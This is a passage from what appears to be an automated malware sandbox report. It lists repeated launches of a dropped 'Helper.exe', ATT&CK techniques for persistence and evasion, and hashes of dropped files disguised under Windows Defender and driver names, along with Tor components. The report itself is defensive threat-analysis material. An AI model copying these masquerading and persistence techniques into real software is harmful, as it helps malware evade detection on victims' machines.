    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:1664
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:1752
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    - Executes dropped EXE
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:2592
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:696
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:2944
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    - Executes dropped EXE
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:2348
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:2892
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:1860
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    - Executes dropped EXE
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:1792
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:2748
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    - Executes dropped EXE
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:2336
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  PID:1848
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  PID:2632
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    - Executes dropped EXE
    PID:1724
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  PID:3036
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    - Executes dropped EXE
    PID:2184
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  PID:548
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  PID:1856
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    - Executes dropped EXE
    PID:1544
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  PID:2096
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    - Executes dropped EXE
    PID:1956
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  PID:3000
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    - Executes dropped EXE
    PID:3020
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  PID:2652
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  PID:2328
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    - Executes dropped EXE
    PID:2868
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  PID:2760
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  PID:560
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    - Executes dropped EXE
    PID:932
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  PID:1612
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  PID:2140
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    - Executes dropped EXE
    PID:1528
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  PID:1712
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    - Executes dropped EXE
    PID:1368
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  PID:2588
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  PID:2560
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  PID:1736
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    - Executes dropped EXE
    PID:2488
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  PID:2720
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  PID:548
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  PID:496
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    - Executes dropped EXE
    PID:2216
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  PID:1844
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  PID:2572
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    - Executes dropped EXE
    PID:1704
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  PID:2904
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    PID:1512
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  PID:2452
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  PID:2264
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  PID:604
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    PID:2096
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  PID:1644
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    PID:2492
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  PID:2616
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  PID:2436
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    PID:356
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  PID:2636
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  PID:792
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  PID:2308
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    PID:2916
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  PID:2472
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  PID:1612
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    PID:1088
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  PID:696
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    PID:2700
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  PID:2616
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    PID:2272
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  PID:1488
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  PID:1628
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    PID:2220
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  PID:3044
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  PID:2172
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    PID:660
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  PID:2280
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  PID:2168
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    PID:2312
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  PID:1664
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    PID:1144
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  PID:2568
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  PID:2868
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  PID:2356
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  PID:2784
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  PID:1652

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

rrrrrrrr.ps1

Path C:\ProgramData\rrrrrrrr.ps1
Size 437B
SHA256 4247e7a94a7fd5e4266622a37d91770dfedb12587aff4c2ece7812c56bd2c1fb
MD5 3ad705568172956efe092dfac809642c
SHA1 d34bfb981dd4478998ec767879ea00cd6406c496
SHA512 ef89e5b7eec05f3d9bbd2ab1fdd011c0917ef6241f6f0afba139860578498971559e2c66041c70b28a91fb09fdbb67eeee1d8a75179c65949028b45ecc813f97
MD5 SHA1 SHA512

Submit Download

32.exe

Path C:\Users\Admin\AppData\Local\Temp\32.exe
Size 7.4MB
SHA256 6cd0a0976cff64c5287c166b73e5c877f026274f85599344756c47e9aa756bcb
MD5 7f9e6ee81558b38fbe276f60949d38b9
SHA1 6358b944b0515b04da8fe7fda7dc3dbbfb82423c
SHA512 960966cc6254f15d5653ec9dbfe0fdc6725f2c1209b4ddb8b1c68d8f646521340f91029a53a5c8c60c9f813f3fe3e83644b052913178ac75886ccbd894be9ce3
SSDEEP 98304:t2cPK8kJ/IPw1SX5tmvjxxvRSsz4ElFq3YCvScxzk3AxDsfV/cHRVqqqbQSd5rAM:sCK8UZvFx0sz4jvTsixVqqqbRd58
MD5 SHA1 SHA512 SSDEEP

Submit Download

64.exe

Path C:\Users\Admin\AppData\Local\Temp\64.exe
Size 8.4MB
SHA256 390126ab71cd12f414f4200cc246d5283c534ab216794ce9980048779960ea68
MD5 a2a5a9b937771a4b82694c844fd27e36
SHA1 402e2f7bfe1f24d6ea048d58bf156676132f515d
SHA512 d352b147c8f045f9931725d25166916ce081ac5cf251f2987fb011deed2e8d3e08f91dbce8a2464abab5561b7915d69cbb7a0d02437b30b6fd3d5622621149e1
SSDEEP 196608:rblT5269RvMF2fk0FV3Zlfa4QFfIM2rW4/Az:3T26XvclsV3na4QUrW4/
MD5 SHA1 SHA512 SSDEEP

Submit Download

Antimalware Service Executable.JS

Path C:\Users\Admin\AppData\Local\Temp\Antimalware Service Executable.JS
Size 713KB
SHA256 e3a33757c2e596f7ee50a4a41ff58f2e64dbdb062257fe5749ca19b955b0baaf
MD5 c958a31d5e439d5b0d01900e5a85992a
SHA1 fc40d0ef637fe55fbaf83e8f4891e008ac736df6
SHA512 2aa0c813b7c17b01e1c18a3a12fb4f3c8ba9c9fee79a3ed66421959fd0440571e0cba5e90569970655342ce2730e823feae23ef6c5da09248f3da68fc0f3cf1c
SSDEEP 12288:KOmMdaDXBuOdAAxcHaMp7yk0AaDhlLBO0Xzaj1B+UquKbLZaQlx+2CRQlD+EhajH:KOmMdaDXBuOdAAxcHaMp7yk0AaDhlLBc
MD5 SHA1 SHA512 SSDEEP

Submit Download

CL_Debug_Log.txt

Path C:\Users\Admin\AppData\Local\Temp\CL_Debug_Log.txt
Size 722KB
SHA256 ea308c76a2f927b160a143d94072b0dce232e04b751f0c6432a94e05164e716d
MD5 43141e85e7c36e31b52b22ab94d5e574
SHA1 cfd7079a9b268d84b856dc668edbb9ab9ef35312
SHA512 9119ae7500aa5cccf26a0f18fd8454245347e3c01dabba56a93dbaaab86535e62b1357170758f3b3445b8359e7dd5d37737318a5d8a6047c499d32d5b64126fc
SSDEEP 12288:AwAxBpwU5gU+2/9dB5XlH1YAEa5OLW0TjLWG3rn0Yf5ogmn9X9Rf6TIALr22DIVM:AhY2gUfVH5XlVYzagW4/3rn0Y5zmzRfq
MD5 SHA1 SHA512 SSDEEP

Submit Download

CR_Debug_Log.txt

Path C:\Users\Admin\AppData\Local\Temp\CR_Debug_Log.txt
Size 14.6MB
SHA256 0afc8b7c47f48ef991535d435d48411ea12c4b98f14253a27b15ec6d7f020620
MD5 cfe4b8f7535c958ea26cde6f32b559aa
SHA1 253ba3372c6c0b1c301f6e968c4fb7d5ffd696d0
SHA512 01e8862cb7c1a3b247d09ca8e9f94c40232aaed93ab9f1937de0f69f83ba3d32926b6289b7bc5b8ae2bb06876b915a50ed65bb8ba10ffadcbbee579ce968bd39
SSDEEP 393216:G8e9/WwPLKTflPxgW9Y/tITU9jUNhwU8Tp4bXqZ:G8aPDEc1CQ9jU0U8Tp4bqZ
MD5 SHA1 SHA512 SSDEEP

Submit Download

EmbraTor Mac Smash Bullet.exe

Path C:\Users\Admin\AppData\Local\Temp\EmbraTor Mac Smash Bullet.exe
Size 1012KB
SHA256 3863d2cab19dba2988e33810d9235e0f04aee019b696e4fdf4cf637b3072b19d
MD5 5d57e6b8aff1ec900f553789f6796648
SHA1 f9a953cfe6decb237ed98c30faabec8654d99171
SHA512 d66a6a97c5b3bb23df2b549af8dd6e2c201d0cdb08a2a4026bfbf831652ba5c8f133beba13f64426f1bdaf6cca83c4e54de8099ea0e02ac7a6c91f35d68f4915
SSDEEP 12288:GgOVcYdHbAQkn+DXp79oN/LrveBU2vvFk/hHVEStxJX:GgOnDXToN/LreBU2vvaNtz
MD5 SHA1 SHA512 SSDEEP

Submit Download

Java Install.jar

Path C:\Users\Admin\AppData\Local\Temp\Java Install.jar
Size 92KB
SHA256 16ed7004aa68efab0eda75b3f9bff11508365a4224ef859c91f93029bc441284
MD5 c55f9247eb8ea19af96292f0893f86b5
SHA1 bd5e6884b8151114af7e45a92525893f4d2aaabd
SHA512 3efab4ee9e3c9d81efd4e2f164c0a2ae72f688cbd0068cc44a063bf4787ba65b8d2a644ac2f7704fbd059d0ba96665aeff46c2bfba820fb42df06eea7e87ccdb
SSDEEP 1536:QL/61A/qP1+9Qc1+jxjciQnGSzPsRBo0fpL9mjMT8mMhe3gnHGvPvxKpjHr9Uy:QLn/qP1CQpjEGyP0Bxf99mYTX3gmvKLn
MD5 SHA1 SHA512 SSDEEP

Submit Download

MsMpEng.js

Path C:\Users\Admin\AppData\Local\Temp\MsMpEng.js
Size 24.2MB
SHA256 b27dd5407a22c8df93090fbc1a3eb93c6461f4a279cfabd87b4b21e246bda458
MD5 690d57b0d8670391bad0876cae078bab
SHA1 32bea01d606128c606b71e19920099c6cb15030f
SHA512 dd113765cd5cfeb99a98775c3c8e265463fca7863ffa519dcb7175312bbbeb4ea24ca45b4cef0320b430d413c020970346f4db671e0730e9e044cd2585f71fd4
SSDEEP 49152:34aSO/UYGzBMZ09d1X5EdS76+B0RX8DQQs8ReDlpgU3HApVeOGMmb5cUNWcGTRPk:H
MD5 SHA1 SHA512 SSDEEP

Submit Download

SystemCheck.xml

Path C:\Users\Admin\AppData\Local\Temp\SystemCheck.xml
Size 2KB
SHA256 0fe356f3d04bb43f772604b049fd2b20f3038ca2ce84bf9778b8ccdd481d77ab
MD5 9160347bec74471e1a79edfd950629ae
SHA1 c149a7e5aab6e349a70b7b458d0eaaa9d301c790
SHA512 b8061834f658567a1e742496c38688bdecd60191a92163d47470f64aa1fba23e92dd36fa1d2bb7efa36f14002c0606013973718b9f107e62d845a17be4b0d358
MD5 SHA1 SHA512

Submit Download

Windows Driver Foundation.vbs

Path C:\Users\Admin\AppData\Local\Temp\Windows Driver Foundation.vbs
Size 984B
SHA256 2c5907389d374ed9efb86194a7f0f954349c93a7bc67b99c3d6b59bfc0d8296c
MD5 df00d1e54f85ae90f2f69b73a34c90f4
SHA1 1d3e521a8efc17334f4f578432d5af0bb1ef1951
SHA512 5636973f61dd7cce413049f246b5ede00c736f4ac333508a2176b65524327080e17ac97260cbe908fc2d0b18235ee6d7f7a74c808a7ceaddb9ee6518452fa618
MD5 SHA1 SHA512

Submit Download

asacpiex.dll

Path C:\Users\Admin\AppData\Local\Temp\asacpiex.dll
Size 14.6MB
SHA256 12afa4813940c6985259f487d5e2892550596a60c6c77f806aefa2c254c74bb4
MD5 2380aed7f261148fdb35af6688e408ee
SHA1 fa359778d16c934ba96b96f3c6c17a10a9e266b0
SHA512 646bdbc4f01991460755c6a2c2dbbca0a0170c83d06050ba50ec1b5406d58f8035498c84462dd9e6ab1d695b8854e2f4734d64ec2f4ab1083371fd145963bb85
SSDEEP 393216:x8e9/WwPLKTflPxgW9Y/tITU9jUNhwU8Tp4bXqZ:x8aPDEc1CQ9jU0U8Tp4bqZ
MD5 SHA1 SHA512 SSDEEP

Submit Download

SysBackup.tmp

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SysBackup.tmp
Size 9KB
SHA256 9296b67c050d53738930d340c5bc26404c675fc0a776d92c17a3733312441154
MD5 22cbf0615ec911493f6bb1a7183f0b92
SHA1 b8ba35bab57902380cd06a9286125680769e0212
SHA512 79cfd0d7dddd0c65c4c06e60b937084a2d6c08dd6457366ff40a7f6180a7b1d1ae69b283b9c0be8a0c8ea30ba866eac28596922dd762d2bffc3149a2126582b6
SSDEEP 192:uxgFVITFGdblMw5nZ997sc+vLfB6kvYq2GeakpMOiifS0ecoHGARXBt:usVITFGplTpZH7sc+Dp6kAvDaIMOiiV8
MD5 SHA1 SHA512 SSDEEP

Submit Download

Tor.tmp

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor.tmp
Size 2.5MB
SHA256 9a78c80e93bd1ed3d71eb090465e39a69470cd1812fc5e169d8b412e8c665963
MD5 54183220aa6c777f8228474ff5b5df01
SHA1 ed438f17bffb37d42afd61d8dcef0c50d554c65c
SHA512 70b1e22449c5264bed46b62595206e3ad36e2a9c33fa9589acb792d499dcbbae5ebdbf3b35c140e72a7d594f807a6ce1ab925736b5e1a07c17a26445a2591987
SSDEEP 49152:xBzi9LdDLYmoYJ6uNXGT3jxWQTPyB9pC6tOpJMvPyc+r:x8j7NJ6ulGLjxR+B9ostk
MD5 SHA1 SHA512 SSDEEP

Submit Download

cached-microdesc-consensus.tmp

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\TorDataSocksListenAddress 127.0.0.1\cached-microdesc-consensus.tmp
Size 2.7MB
SHA256 2089eed082364ed1e52980737b55c54c434f42fdf5048077b63e0dc5ee8e69c3
MD5 ffcd5cbca9867eee8d74446c60ea6736
SHA1 1a14d9829b9ec3b18adbdca0f87df2fd34938992
SHA512 e11ed7aab2389008bb02ed33cffaeeab18799acc1ebdecc9a84edc190a55dda41aa5543cc5d7a784e966cb3ab93973fe81a1b94db89e3600fff9017db083b6fb
SSDEEP 12288:TtA68cTaMFOwrP+9yn9MpNfcyzN5fTkinsmkjpuC6DGBSogicL/jRhq:TkW8wLnYNB3rEwDhph/Hq
MD5 SHA1 SHA512 SSDEEP

Submit Download

cached-microdescs.new

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\TorDataSocksListenAddress 127.0.0.1\cached-microdescs.new
Size 7.3MB
SHA256 c63b2dc54423dc8d2dae79ca3f4481c92b795d6a363acae64f159ff18332d6fc
MD5 81f191e95bf7c14b456f0e9838d06f2a
SHA1 05b03ccbf3bbc7e37feef55566c61917a3baae88
SHA512 e4c93ea84d33762df4477e6107df09876f500b84cdea617104251b565dca5f5f2c84691a69c428672ac6ca7cfa1eb2ad2d26fbb44049821b40bbfe7638480cbf
SSDEEP 24576:qLl/zsSlM94IjgUrERRsWPsjljwjhFnYqsKckovUa+Dg96aJv7ZRg6IZ3rk3HDFS:eyOuW4SH
MD5 SHA1 SHA512 SSDEEP

Submit Download

TorConfig

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\TorData\TorConfig
Size 201B
SHA256 69d57bfb46ef8097c1cfca65885790421d0e0965b7778f165cd7df9368807776
MD5 b9d2fe9cfa840518fa39039c928d4938
SHA1 0561516b7cfa784cf400349983817c8b18817256
